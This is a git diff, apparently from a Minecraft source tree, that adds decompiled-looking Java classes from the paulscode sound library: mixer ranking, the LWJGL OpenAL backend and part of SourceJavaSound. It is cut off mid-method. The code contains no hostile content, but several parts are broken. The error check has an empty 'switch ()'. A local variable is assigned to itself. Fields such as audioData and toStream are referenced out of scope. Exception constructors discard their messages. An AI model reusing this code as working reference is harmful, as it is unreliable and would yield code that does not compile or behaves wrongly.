+        maxLinesPossible = (x + 1);
+      }
+      try
+      {
+        clip.close();
+      }
+      catch (Exception e) {}
+      
+      clip = null;
+      if (maxLinesPossible == LibraryJavaSound.lineCount(false, 0))
+      {
+        lineCountOK = true;
+      }
+      
+
+      if (!LibraryJavaSound.useGainControl(false, false))
+      {
+        GAIN_CONTROL_PRIORITY = 4;
+      }
+      else if (!lines[0].isControlSupported(FloatControl.Type.MASTER_GAIN))
+      {
+
+        if (GAIN_CONTROL_PRIORITY == 1) {
+          throw new LibraryJavaSound.Exception("Gain control not available for Mixer '" + mixerInfo.getName() + "'", this);
+        }
+        
+
+      }
+      else {
+        gainControlOK = true;
+      }
+      if (!LibraryJavaSound.usePanControl(false, false))
+      {
+        PAN_CONTROL_PRIORITY = 4;
+      }
+      else if (!lines[0].isControlSupported(FloatControl.Type.PAN))
+      {
+        if (PAN_CONTROL_PRIORITY == 1) {
+          throw new LibraryJavaSound.Exception("Pan control not available for Mixer '" + mixerInfo.getName() + "'", this);
+        }
+        
+
+      }
+      else {
+        panControlOK = true;
+      }
+      if (!LibraryJavaSound.useSampleRateControl(false, false))
+      {
+        SAMPLE_RATE_CONTROL_PRIORITY = 4;
+      }
+      else if (!lines[0].isControlSupported(FloatControl.Type.SAMPLE_RATE))
+      {
+
+        if (SAMPLE_RATE_CONTROL_PRIORITY == 1) {
+          throw new LibraryJavaSound.Exception("Sample-rate control not available for Mixer '" + mixerInfo.getName() + "'", this);
+        }
+        
+
+      }
+      else
+      {
+        sampleRateControlOK = true;
+      }
+      
+
+      rank += getRankValue(mixerExists, MIXER_EXISTS_PRIORITY);
+      rank += getRankValue(minSampleRateOK, MIN_SAMPLE_RATE_PRIORITY);
+      rank += getRankValue(maxSampleRateOK, MAX_SAMPLE_RATE_PRIORITY);
+      rank += getRankValue(lineCountOK, LINE_COUNT_PRIORITY);
+      rank += getRankValue(gainControlOK, GAIN_CONTROL_PRIORITY);
+      rank += getRankValue(panControlOK, PAN_CONTROL_PRIORITY);
+      rank += getRankValue(sampleRateControlOK, SAMPLE_RATE_CONTROL_PRIORITY);
+      
+
+
+      Mixer m = null;
+      format = null;
+      lineInfo = null;
+      lines = null;
+    }
+    
+
+
+
+
+
+
+
+    private int getRankValue(boolean property, int priority)
+    {
+      if (property) {
+        return 2;
+      }
+      
+      if (priority == 4) {
+        return 2;
+      }
+      if (priority == 3) {
+        return 1;
+      }
+      return 0;
+    }
+  }
+  
+
+
+
+
+
+  public static class Exception
+    extends SoundSystemException
+  {
+    public static final int MIXER_PROBLEM = 101;
+    
+
+
+
+
+    public static LibraryJavaSound.MixerRanking mixerRanking = null;
+    
+
+
+
+
+
+    public Exception(String message)
+    {
+      super();
+    }
+    
+
+
+
+
+
+
+    public Exception(String message, int type)
+    {
+      super(type);
+    }
+    
+
+
+
+
+
+
+
+    public Exception(String message, LibraryJavaSound.MixerRanking rank)
+    {
+      super(101);
+      mixerRanking = rank;
+    }
+  }
+}
diff --git a/src/minecraft/paulscode/sound/libraries/LibraryLWJGLOpenAL.java b/src/minecraft/paulscode/sound/libraries/LibraryLWJGLOpenAL.java
new file mode 100644
index 0000000..5ddaceb
--- /dev/null
+++ b/src/minecraft/paulscode/sound/libraries/LibraryLWJGLOpenAL.java
@@ -0,0 +1,1125 @@
+package paulscode.sound.libraries;
+
+import java.net.URL;
+import java.nio.ByteBuffer;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import javax.sound.sampled.AudioFormat;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.LWJGLException;
+import org.lwjgl.openal.AL;
+import org.lwjgl.openal.AL10;
+import paulscode.sound.Channel;
+import paulscode.sound.FilenameURL;
+import paulscode.sound.ICodec;
+import paulscode.sound.Library;
+import paulscode.sound.ListenerData;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.SoundSystemException;
+import paulscode.sound.Source;
+import paulscode.sound.Vector3D;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LibraryLWJGLOpenAL
+  extends Library
+{
+  private static final boolean GET = false;
+  private static final boolean SET = true;
+  private static final boolean XXX = false;
+  private FloatBuffer listenerPositionAL = null;
+  
+
+
+  private FloatBuffer listenerOrientation = null;
+  
+
+
+  private FloatBuffer listenerVelocity = null;
+  
+
+
+  private HashMap<String, IntBuffer> ALBufferMap = null;
+  
+
+
+
+  private static boolean alPitchSupported = true;
+  
+
+
+
+
+
+  public LibraryLWJGLOpenAL()
+    throws SoundSystemException
+  {
+    ALBufferMap = new HashMap();
+    reverseByteOrder = true;
+  }
+  
+
+
+
+  public void init()
+    throws SoundSystemException
+  {
+    boolean errors = false;
+    
+
+    try
+    {
+      AL.create();
+      errors = checkALError();
+
+    }
+    catch (LWJGLException e)
+    {
+      errorMessage("Unable to initialize OpenAL.  Probable cause: OpenAL not supported.");
+      
+      printStackTrace(e);
+      throw new Exception(e.getMessage(), 101);
+    }
+    
+
+
+    if (errors) {
+      importantMessage("OpenAL did not initialize properly!");
+    } else {
+      message("OpenAL initialized.");
+    }
+    
+    listenerPositionAL = BufferUtils.createFloatBuffer(3).put(new float[] { listener.position.x, listener.position.y, listener.position.z });
+    
+
+
+    listenerOrientation = BufferUtils.createFloatBuffer(6).put(new float[] { listener.lookAt.x, listener.lookAt.y, listener.lookAt.z, listener.up.x, listener.up.y, listener.up.z });
+    
+
+
+    listenerVelocity = BufferUtils.createFloatBuffer(3).put(new float[] { 0.0F, 0.0F, 0.0F });
+    
+
+
+    listenerPositionAL.flip();
+    listenerOrientation.flip();
+    listenerVelocity.flip();
+    
+
+    AL10.alListener(4100, listenerPositionAL);
+    errors = (checkALError()) || (errors);
+    AL10.alListener(4111, listenerOrientation);
+    errors = (checkALError()) || (errors);
+    AL10.alListener(4102, listenerVelocity);
+    errors = (checkALError()) || (errors);
+    
+    AL10.alDopplerFactor(SoundSystemConfig.getDopplerFactor());
+    errors = (checkALError()) || (errors);
+    
+    AL10.alDopplerVelocity(SoundSystemConfig.getDopplerVelocity());
+    errors = (checkALError()) || (errors);
+    
+
+    if (errors)
+    {
+      importantMessage("OpenAL did not initialize properly!");
+      throw new Exception("Problem encountered while loading OpenAL or creating the listener.  Probable cause:  OpenAL not supported", 101);
+    }
+    
+
+
+
+
+
+    super.init();
+    
+
+    ChannelLWJGLOpenAL channel = (ChannelLWJGLOpenAL)normalChannels.get(1);
+    
+    try
+    {
+      AL10.alSourcef(ALSource.get(0), 4099, 1.0F);
+      
+      if (checkALError())
+      {
+        alPitchSupported(true, false);
+        throw new Exception("OpenAL: AL_PITCH not supported.", 108);
+      }
+      
+
+
+      alPitchSupported(true, true);
+
+    }
+    catch (Exception e)
+    {
+      alPitchSupported(true, false);
+      throw new Exception("OpenAL: AL_PITCH not supported.", 108);
+    }
+  }
+  
+
+
+
+
+
+  public static boolean libraryCompatible()
+  {
+    if (AL.isCreated()) {
+      return true;
+    }
+    try
+    {
+      AL.create();
+    }
+    catch (Exception e)
+    {
+      return false;
+    }
+    
+    try
+    {
+      AL.destroy();
+    }
+    catch (Exception e) {}
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected Channel createChannel(int type)
+  {
+    IntBuffer ALSource = BufferUtils.createIntBuffer(1);
+    try
+    {
+      AL10.alGenSources(ALSource);
+    }
+    catch (Exception e)
+    {
+      AL10.alGetError();
+      return null;
+    }
+    
+    if (AL10.alGetError() != 0) {
+      return null;
+    }
+    ChannelLWJGLOpenAL channel = new ChannelLWJGLOpenAL(type, ALSource);
+    return channel;
+  }
+  
+
+
+
+
+
+  public void cleanup()
+  {
+    super.cleanup();
+    
+    Set<String> keys = bufferMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String filename = (String)iter.next();
+      IntBuffer buffer = (IntBuffer)ALBufferMap.get(filename);
+      if (buffer != null)
+      {
+        AL10.alDeleteBuffers(buffer);
+        checkALError();
+        buffer.clear();
+      }
+    }
+    
+    bufferMap.clear();
+    AL.destroy();
+    
+    bufferMap = null;
+    listenerPositionAL = null;
+    listenerOrientation = null;
+    listenerVelocity = null;
+  }
+  
+
+
+
+
+
+
+
+  public boolean loadSound(FilenameURL filenameURL)
+  {
+    if (bufferMap == null)
+    {
+      bufferMap = new HashMap();
+      importantMessage("Buffer Map was null in method 'loadSound'");
+    }
+    
+    if (ALBufferMap == null)
+    {
+      ALBufferMap = new HashMap();
+      importantMessage("Open AL Buffer Map was null in method'loadSound'");
+    }
+    
+
+
+    if (errorCheck(filenameURL == null, "Filename/URL not specified in method 'loadSound'"))
+    {
+      return false;
+    }
+    
+    if (bufferMap.get(filenameURL.getFilename()) != null) {
+      return true;
+    }
+    ICodec codec = SoundSystemConfig.getCodec(filenameURL.getFilename());
+    if (errorCheck(codec == null, "No codec found for file '" + filenameURL.getFilename() + "' in method 'loadSound'"))
+    {
+
+      return false; }
+    codec.reverseByteOrder(true);
+    
+    URL url = filenameURL.getURL();
+    if (errorCheck(url == null, "Unable to open file '" + filenameURL.getFilename() + "' in method 'loadSound'"))
+    {
+
+      return false;
+    }
+    codec.initialize(url);
+    SoundBuffer buffer = codec.readAll();
+    codec.cleanup();
+    codec = null;
+    if (errorCheck(buffer == null, "Sound buffer null in method 'loadSound'"))
+    {
+      return false;
+    }
+    bufferMap.put(filenameURL.getFilename(), buffer);
+    
+    AudioFormat audioFormat = audioFormat;
+    int soundFormat = 0;
+    if (audioFormat.getChannels() == 1)
+    {
+      if (audioFormat.getSampleSizeInBits() == 8)
+      {
+        soundFormat = 4352;
+      }
+      else if (audioFormat.getSampleSizeInBits() == 16)
+      {
+        soundFormat = 4353;
+      }
+      else
+      {
+        errorMessage("Illegal sample size in method 'loadSound'");
+        return false;
+      }
+    }
+    else if (audioFormat.getChannels() == 2)
+    {
+      if (audioFormat.getSampleSizeInBits() == 8)
+      {
+        soundFormat = 4354;
+      }
+      else if (audioFormat.getSampleSizeInBits() == 16)
+      {
+        soundFormat = 4355;
+      }
+      else
+      {
+        errorMessage("Illegal sample size in method 'loadSound'");
+        return false;
+      }
+    }
+    else
+    {
+      errorMessage("File neither mono nor stereo in method 'loadSound'");
+      
+      return false;
+    }
+    
+    IntBuffer intBuffer = BufferUtils.createIntBuffer(1);
+    AL10.alGenBuffers(intBuffer);
+    if (errorCheck(AL10.alGetError() != 0, "alGenBuffers error when loading " + filenameURL.getFilename()))
+    {
+
+      return false;
+    }
+    
+
+
+    AL10.alBufferData(intBuffer.get(0), soundFormat, (ByteBuffer)BufferUtils.createByteBuffer(audioData.length).put(audioData).flip(), (int)audioFormat.getSampleRate());
+    
+
+
+
+
+    if (errorCheck(AL10.alGetError() != 0, "alBufferData error when loading " + filenameURL.getFilename()))
+    {
+
+
+
+      if (errorCheck(intBuffer == null, "Sound buffer was not created for " + filenameURL.getFilename()))
+      {
+
+        return false; }
+    }
+    ALBufferMap.put(filenameURL.getFilename(), intBuffer);
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean loadSound(SoundBuffer buffer, String identifier)
+  {
+    if (bufferMap == null)
+    {
+      bufferMap = new HashMap();
+      importantMessage("Buffer Map was null in method 'loadSound'");
+    }
+    
+    if (ALBufferMap == null)
+    {
+      ALBufferMap = new HashMap();
+      importantMessage("Open AL Buffer Map was null in method'loadSound'");
+    }
+    
+
+
+    if (errorCheck(identifier == null, "Identifier not specified in method 'loadSound'"))
+    {
+      return false;
+    }
+    
+    if (bufferMap.get(identifier) != null) {
+      return true;
+    }
+    if (errorCheck(buffer == null, "Sound buffer null in method 'loadSound'"))
+    {
+      return false;
+    }
+    bufferMap.put(identifier, buffer);
+    
+    AudioFormat audioFormat = audioFormat;
+    int soundFormat = 0;
+    if (audioFormat.getChannels() == 1)
+    {
+      if (audioFormat.getSampleSizeInBits() == 8)
+      {
+        soundFormat = 4352;
+      }
+      else if (audioFormat.getSampleSizeInBits() == 16)
+      {
+        soundFormat = 4353;
+      }
+      else
+      {
+        errorMessage("Illegal sample size in method 'loadSound'");
+        return false;
+      }
+    }
+    else if (audioFormat.getChannels() == 2)
+    {
+      if (audioFormat.getSampleSizeInBits() == 8)
+      {
+        soundFormat = 4354;
+      }
+      else if (audioFormat.getSampleSizeInBits() == 16)
+      {
+        soundFormat = 4355;
+      }
+      else
+      {
+        errorMessage("Illegal sample size in method 'loadSound'");
+        return false;
+      }
+    }
+    else
+    {
+      errorMessage("File neither mono nor stereo in method 'loadSound'");
+      
+      return false;
+    }
+    
+    IntBuffer intBuffer = BufferUtils.createIntBuffer(1);
+    AL10.alGenBuffers(intBuffer);
+    if (errorCheck(AL10.alGetError() != 0, "alGenBuffers error when saving " + identifier))
+    {
+
+      return false;
+    }
+    
+
+
+    AL10.alBufferData(intBuffer.get(0), soundFormat, (ByteBuffer)BufferUtils.createByteBuffer(audioData.length).put(audioData).flip(), (int)audioFormat.getSampleRate());
+    
+
+
+
+
+    if (errorCheck(AL10.alGetError() != 0, "alBufferData error when saving " + identifier))
+    {
+
+
+
+      if (errorCheck(intBuffer == null, "Sound buffer was not created for " + identifier))
+      {
+
+        return false; }
+    }
+    ALBufferMap.put(identifier, intBuffer);
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public void unloadSound(String filename)
+  {
+    ALBufferMap.remove(filename);
+    super.unloadSound(filename);
+  }
+  
+
+
+
+
+
+  public void setMasterVolume(float value)
+  {
+    super.setMasterVolume(value);
+    
+    AL10.alListenerf(4106, value);
+    checkALError();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newSource(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    IntBuffer myBuffer = null;
+    if (!toStream)
+    {
+
+      myBuffer = (IntBuffer)ALBufferMap.get(filenameURL.getFilename());
+      
+
+      if (myBuffer == null)
+      {
+        if (!loadSound(filenameURL))
+        {
+          errorMessage("Source '" + sourcename + "' was not created " + "because an error occurred while loading " + filenameURL.getFilename());
+          
+
+          return;
+        }
+      }
+      
+
+      myBuffer = (IntBuffer)ALBufferMap.get(filenameURL.getFilename());
+      
+      if (myBuffer == null)
+      {
+        errorMessage("Source '" + sourcename + "' was not created " + "because a sound buffer was not found for " + filenameURL.getFilename());
+        
+
+        return;
+      }
+    }
+    SoundBuffer buffer = null;
+    
+    if (!toStream)
+    {
+
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        if (!loadSound(filenameURL))
+        {
+          errorMessage("Source '" + sourcename + "' was not created " + "because an error occurred while loading " + filenameURL.getFilename());
+          
+
+          return;
+        }
+      }
+      
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        errorMessage("Source '" + sourcename + "' was not created " + "because audio data was not found for " + filenameURL.getFilename());
+        
+
+        return;
+      }
+    }
+    
+    sourceMap.put(sourcename, new SourceLWJGLOpenAL(listenerPositionAL, myBuffer, priority, toStream, toLoop, sourcename, filenameURL, buffer, x, y, z, attModel, distOrRoll, false));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void rawDataStream(AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    sourceMap.put(sourcename, new SourceLWJGLOpenAL(listenerPositionAL, audioFormat, priority, sourcename, x, y, z, attModel, distOrRoll));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void quickPlay(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    IntBuffer myBuffer = null;
+    if (!toStream)
+    {
+
+      myBuffer = (IntBuffer)ALBufferMap.get(filenameURL.getFilename());
+      
+      if (myBuffer == null) {
+        loadSound(filenameURL);
+      }
+      myBuffer = (IntBuffer)ALBufferMap.get(filenameURL.getFilename());
+      
+      if (myBuffer == null)
+      {
+        errorMessage("Sound buffer was not created for " + filenameURL.getFilename());
+        
+        return;
+      }
+    }
+    
+    SoundBuffer buffer = null;
+    
+    if (!toStream)
+    {
+
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        if (!loadSound(filenameURL))
+        {
+          errorMessage("Source '" + sourcename + "' was not created " + "because an error occurred while loading " + filenameURL.getFilename());
+          
+
+          return;
+        }
+      }
+      
+      buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+      
+      if (buffer == null)
+      {
+        errorMessage("Source '" + sourcename + "' was not created " + "because audio data was not found for " + filenameURL.getFilename());
+        
+
+        return;
+      }
+    }
+    SourceLWJGLOpenAL s = new SourceLWJGLOpenAL(listenerPositionAL, myBuffer, priority, toStream, toLoop, sourcename, filenameURL, buffer, x, y, z, attModel, distOrRoll, false);
+    
+
+
+
+
+
+
+    sourceMap.put(sourcename, s);
+    play(s);
+    if (temporary) {
+      s.setTemporary(true);
+    }
+  }
+  
+
+
+
+
+  public void copySources(HashMap<String, Source> srcMap)
+  {
+    if (srcMap == null)
+      return;
+    Set<String> keys = srcMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    if (bufferMap == null)
+    {
+      bufferMap = new HashMap();
+      importantMessage("Buffer Map was null in method 'copySources'");
+    }
+    
+    if (ALBufferMap == null)
+    {
+      ALBufferMap = new HashMap();
+      importantMessage("Open AL Buffer Map was null in method'copySources'");
+    }
+    
+
+
+    sourceMap.clear();
+    
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)srcMap.get(sourcename);
+      if (source != null)
+      {
+        SoundBuffer buffer = null;
+        if (!toStream)
+        {
+          loadSound(filenameURL);
+          buffer = (SoundBuffer)bufferMap.get(filenameURL.getFilename());
+        }
+        if ((toStream) || (buffer != null)) {
+          sourceMap.put(sourcename, new SourceLWJGLOpenAL(listenerPositionAL, (IntBuffer)ALBufferMap.get(filenameURL.getFilename()), source, buffer));
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setListenerPosition(float x, float y, float z)
+  {
+    super.setListenerPosition(x, y, z);
+    
+    listenerPositionAL.put(0, x);
+    listenerPositionAL.put(1, y);
+    listenerPositionAL.put(2, z);
+    
+
+    AL10.alListener(4100, listenerPositionAL);
+    
+    checkALError();
+  }
+  
+
+
+
+
+
+
+  public void setListenerAngle(float angle)
+  {
+    super.setListenerAngle(angle);
+    
+    listenerOrientation.put(0, listener.lookAt.x);
+    listenerOrientation.put(2, listener.lookAt.z);
+    
+
+    AL10.alListener(4111, listenerOrientation);
+    
+    checkALError();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setListenerOrientation(float lookX, float lookY, float lookZ, float upX, float upY, float upZ)
+  {
+    super.setListenerOrientation(lookX, lookY, lookZ, upX, upY, upZ);
+    listenerOrientation.put(0, lookX);
+    listenerOrientation.put(1, lookY);
+    listenerOrientation.put(2, lookZ);
+    listenerOrientation.put(3, upX);
+    listenerOrientation.put(4, upY);
+    listenerOrientation.put(5, upZ);
+    AL10.alListener(4111, listenerOrientation);
+    checkALError();
+  }
+  
+
+
+
+
+
+
+  public void setListenerData(ListenerData l)
+  {
+    super.setListenerData(l);
+    
+    listenerPositionAL.put(0, position.x);
+    listenerPositionAL.put(1, position.y);
+    listenerPositionAL.put(2, position.z);
+    AL10.alListener(4100, listenerPositionAL);
+    checkALError();
+    
+    listenerOrientation.put(0, lookAt.x);
+    listenerOrientation.put(1, lookAt.y);
+    listenerOrientation.put(2, lookAt.z);
+    listenerOrientation.put(3, up.x);
+    listenerOrientation.put(4, up.y);
+    listenerOrientation.put(5, up.z);
+    AL10.alListener(4111, listenerOrientation);
+    checkALError();
+    
+    listenerVelocity.put(0, velocity.x);
+    listenerVelocity.put(1, velocity.y);
+    listenerVelocity.put(2, velocity.z);
+    AL10.alListener(4102, listenerVelocity);
+    checkALError();
+  }
+  
+
+
+
+
+
+
+
+  public void setListenerVelocity(float x, float y, float z)
+  {
+    super.setListenerVelocity(x, y, z);
+    
+    listenerVelocity.put(0, listener.velocity.x);
+    listenerVelocity.put(1, listener.velocity.y);
+    listenerVelocity.put(2, listener.velocity.z);
+    AL10.alListener(4102, listenerVelocity);
+  }
+  
+
+
+
+
+  public void dopplerChanged()
+  {
+    super.dopplerChanged();
+    
+    AL10.alDopplerFactor(SoundSystemConfig.getDopplerFactor());
+    checkALError();
+    AL10.alDopplerVelocity(SoundSystemConfig.getDopplerVelocity());
+    checkALError();
+  }
+  
+
+
+
+
+  private boolean checkALError()
+  {
+    switch ()
+    {
+    case 0: 
+      return false;
+    case 40961: 
+      errorMessage("Invalid name parameter.");
+      return true;
+    case 40962: 
+      errorMessage("Invalid parameter.");
+      return true;
+    case 40963: 
+      errorMessage("Invalid enumerated parameter value.");
+      return true;
+    case 40964: 
+      errorMessage("Illegal call.");
+      return true;
+    case 40965: 
+      errorMessage("Unable to allocate memory.");
+      return true;
+    }
+    errorMessage("An unrecognized error occurred.");
+    return true;
+  }
+  
+
+
+
+
+
+  public static boolean alPitchSupported()
+  {
+    return alPitchSupported(false, false);
+  }
+  
+
+
+
+
+
+
+  private static synchronized boolean alPitchSupported(boolean action, boolean value)
+  {
+    if (action == true)
+      alPitchSupported = value;
+    return alPitchSupported;
+  }
+  
+
+
+
+
+  public static String getTitle()
+  {
+    return "LWJGL OpenAL";
+  }
+  
+
+
+
+
+  public static String getDescription()
+  {
+    return "The LWJGL binding of OpenAL.  For more information, see http://www.lwjgl.org";
+  }
+  
+
+
+
+
+
+
+  public String getClassName()
+  {
+    return "LibraryLWJGLOpenAL";
+  }
+  
+
+
+
+
+  public static class Exception
+    extends SoundSystemException
+  {
+    public static final int CREATE = 101;
+    
+
+
+
+    public static final int INVALID_NAME = 102;
+    
+
+
+
+    public static final int INVALID_ENUM = 103;
+    
+
+
+
+    public static final int INVALID_VALUE = 104;
+    
+
+
+
+    public static final int INVALID_OPERATION = 105;
+    
+
+
+
+    public static final int OUT_OF_MEMORY = 106;
+    
+
+
+    public static final int LISTENER = 107;
+    
+
+
+    public static final int NO_AL_PITCH = 108;
+    
+
+
+
+    public Exception(String message)
+    {
+      super();
+    }
+    
+
+
+
+
+
+
+    public Exception(String message, int type)
+    {
+      super(type);
+    }
+  }
+}
diff --git a/src/minecraft/paulscode/sound/libraries/SourceJavaSound.java b/src/minecraft/paulscode/sound/libraries/SourceJavaSound.java
new file mode 100644
index 0000000..8dfaa07
--- /dev/null
+++ b/src/minecraft/paulscode/sound/libraries/SourceJavaSound.java
@@ -0,0 +1,525 @@
+package paulscode.sound.libraries;
+
+import java.util.LinkedList;
+import javax.sound.sampled.AudioFormat;
+import paulscode.sound.Channel;
+import paulscode.sound.FilenameURL;
+import paulscode.sound.ICodec;
+import paulscode.sound.ListenerData;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.Source;
+import paulscode.sound.Vector3D;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SourceJavaSound
+  extends Source
+{
+  protected ChannelJavaSound channelJavaSound = (ChannelJavaSound)channel;
+  
+
+
+
+  public ListenerData listener;
+  
+
+
+
+  private float pan = 0.0F;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SourceJavaSound(ListenerData listener, boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, SoundBuffer soundBuffer, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    super(priority, toStream, toLoop, sourcename, filenameURL, soundBuffer, x, y, z, attModel, distOrRoll, temporary);
+    
+    libraryType = LibraryJavaSound.class;
+    
+
+    this.listener = listener;
+    positionChanged();
+  }
+  
+
+
+
+
+
+
+
+  public SourceJavaSound(ListenerData listener, Source old, SoundBuffer soundBuffer)
+  {
+    super(old, soundBuffer);
+    libraryType = LibraryJavaSound.class;
+    
+
+    this.listener = listener;
+    positionChanged();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SourceJavaSound(ListenerData listener, AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    super(audioFormat, priority, sourcename, x, y, z, attModel, distOrRoll);
+    
+    libraryType = LibraryJavaSound.class;
+    
+
+    this.listener = listener;
+    positionChanged();
+  }
+  
+
+
+
+
+
+  public void cleanup()
+  {
+    super.cleanup();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void changeSource(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, SoundBuffer soundBuffer, float x, float y, float z, int attModel, float distOrRoll, boolean temporary)
+  {
+    super.changeSource(priority, toStream, toLoop, sourcename, filenameURL, soundBuffer, x, y, z, attModel, distOrRoll, temporary);
+    
+
+    if (channelJavaSound != null)
+      channelJavaSound.setLooping(toLoop);
+    positionChanged();
+  }
+  
+
+
+
+
+  public void listenerMoved()
+  {
+    positionChanged();
+  }
+  
+
+
+
+
+
+
+
+  public void setVelocity(float x, float y, float z)
+  {
+    super.setVelocity(x, y, z);
+    positionChanged();
+  }
+  
+
+
+
+
+
+
+
+  public void setPosition(float x, float y, float z)
+  {
+    super.setPosition(x, y, z);
+    positionChanged();
+  }
+  
+
+
+
+
+  public void positionChanged()
+  {
+    calculateGain();
+    calculatePan();
+    calculatePitch();
+  }
+  
+
+
+
+
+
+  public void setPitch(float value)
+  {
+    super.setPitch(value);
+    calculatePitch();
+  }
+  
+
+
+
+
+
+  public void setAttenuation(int model)
+  {
+    super.setAttenuation(model);
+    calculateGain();
+  }
+  
+
+
+
+
+
+
+  public void setDistOrRoll(float dr)
+  {
+    super.setDistOrRoll(dr);
+    calculateGain();
+  }
+  
+
+
+
+
+
+  public void play(Channel c)
+  {
+    if (!active())
+    {
+      if (toLoop)
+        toPlay = true;
+      return;
+    }
+    
+    if (c == null)
+    {
+      errorMessage("Unable to play source, because channel was null");
+      return;
+    }
+    
+    boolean newChannel = channel != c;
+    if ((channel != null) && (channel.attachedSource != this)) {
+      newChannel = true;
+    }
+    boolean wasPaused = paused();
+    boolean wasStopped = stopped();
+    
+    super.play(c);
+    
+    channelJavaSound = ((ChannelJavaSound)channel);
+    
+
+
+    if (newChannel)
+    {
+      if (channelJavaSound != null) {
+        channelJavaSound.setLooping(toLoop);
+      }
+      if (!toStream)
+      {
+
+
+        if (soundBuffer == null)
+        {
+          errorMessage("No sound buffer to play");
+          return;
+        }
+        
+        channelJavaSound.attachBuffer(soundBuffer);
+      }
+    }
+    positionChanged();
+    
+
+    if ((wasStopped) || (!playing()))
+    {
+      if ((toStream) && (!wasPaused))
+      {
+        preLoad = true;
+      }
+      channel.play();
+    }
+  }
+  
+
+
+
+
+
+  public boolean preLoad()
+  {
+    if (codec == null)
+    {
+      return false;
+    }
+    
+    boolean noNextBuffers = false;
+    synchronized (soundSequenceLock)
+    {
+      if ((nextBuffers == null) || (nextBuffers.isEmpty())) {
+        noNextBuffers = true;
+      }
+    }
+    LinkedList<byte[]> preLoadBuffers = new LinkedList();
+    if ((nextCodec != null) && (!noNextBuffers))
+    {
+      codec = nextCodec;
+      nextCodec = null;
+      synchronized (soundSequenceLock)
+      {
+        while (!nextBuffers.isEmpty())
+        {
+          soundBuffer = ((SoundBuffer)nextBuffers.remove(0));
+          if ((soundBuffer != null) && (soundBuffer.audioData != null)) {
+            preLoadBuffers.add(soundBuffer.audioData);
+          }
+        }
+      }
+    }
+    else {
+      codec.initialize(filenameURL.getURL());
+      
+      for (int i = 0; i < SoundSystemConfig.getNumberStreamingBuffers(); i++)
+      {
+        soundBuffer = codec.read();
+        
+        if ((soundBuffer == null) || (soundBuffer.audioData == null)) {
+          break;
+        }
+        preLoadBuffers.add(soundBuffer.audioData);
+      }
+      channelJavaSound.resetStream(codec.getAudioFormat());
+    }
+    positionChanged();
+    
+    channel.preLoadBuffers(preLoadBuffers);
+    
+    preLoad = false;
+    return true;
+  }
+  
+
+
+
+
+  public void calculateGain()
+  {
+    float distX = position.x - listener.position.x;
+    float distY = position.y - listener.position.y;
+    float distZ = position.z - listener.position.z;
+    
+    distanceFromListener = ((float)Math.sqrt(distX * distX + distY * distY + distZ * distZ));
+    
+
+
+    switch (attModel)
+    {
+    case 2: 
+      if (distanceFromListener <= 0.0F)
+      {
+        gain = 1.0F;
+      }
+      else if (distanceFromListener >= distOrRoll)
+      {
+        gain = 0.0F;
+      }
+      else
+      {
+        gain = (1.0F - distanceFromListener / distOrRoll);
+      }
+      break;
+    case 1: 
+      if (distanceFromListener <= 0.0F)
+      {
+        gain = 1.0F;
+      }
+      else
+      {
+        float tweakFactor = 5.0E-4F;
+        float attenuationFactor = distOrRoll * distanceFromListener * distanceFromListener * tweakFactor;
+        
+
+
+
+        if (attenuationFactor < 0.0F) {
+          attenuationFactor = 0.0F;
+        }
+        gain = (1.0F / (1.0F + attenuationFactor));
+      }
+      break;
+    default: 
+      gain = 1.0F;
+    }
+    
+    
+    if (gain > 1.0F)
